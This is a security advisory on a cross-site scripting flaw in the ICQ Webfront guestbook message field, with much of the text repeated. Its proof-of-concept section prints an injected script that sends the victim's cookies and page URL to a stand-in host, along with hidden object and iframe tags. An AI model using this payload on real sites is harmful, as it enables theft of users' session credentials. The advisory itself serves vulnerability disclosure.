ICQ Webfront guestbook Cross-Site Scripting Vulnerability
BID:8563
Info
ICQ Webfront guestbook Cross-Site Scripting Vulnerability
| Bugtraq ID: | 8563 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 08 2003 12:00AM |
| Updated: | Sep 08 2003 12:00AM |
| Credit: | The disclosure of this vulnerability has been credited to Donnie Werner <[email protected]>. |
| Vulnerable: |
Mirabilis ICQ 2003 a Build#3800 Mirabilis ICQ 2003 a Build#3799 Mirabilis ICQ 2003 a Build#3777 |
| Not Vulnerable: | |
Discussion
ICQ Webfront guestbook Cross-Site Scripting Vulnerability
It has been reported that ICQ Webfront is prone to a cross-site scripting vulnerability in the message field of the guestbook module. This issue is caused by improper sanitization of user-supplied data.
Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials from a user. Other attacks are possible as well.
It has been reported that ICQ Webfront is prone to a cross-site scripting vulnerability in the message field of the guestbook module. This issue is caused by improper sanitization of user-supplied data.
Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials from a user. Other attacks are possible as well.
Exploit / POC
ICQ Webfront guestbook Cross-Site Scripting Vulnerability
The following proof of concept was provided:
<object style="display:none" data="http://www.example.com/bad.asp"></object>
<SCRIPT>location.href="http://www.example.com/xss.cgi?ref="+document.URL+"cookie="+document.cookie;</script>
<iframe src="http://www.example.com"></iframe>
The following proof of concept was provided:
<object style="display:none" data="http://www.example.com/bad.asp"></object>
<SCRIPT>location.href="http://www.example.com/xss.cgi?ref="+document.URL+"cookie="+document.cookie;</script>
<iframe src="http://www.example.com"></iframe>
Solution / Fix
ICQ Webfront guestbook Cross-Site Scripting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
ICQ Webfront guestbook Cross-Site Scripting Vulnerability
References:
References:
- ICQ Homepage (Mirabilis)
- ICQ Webfront (Mirabilis)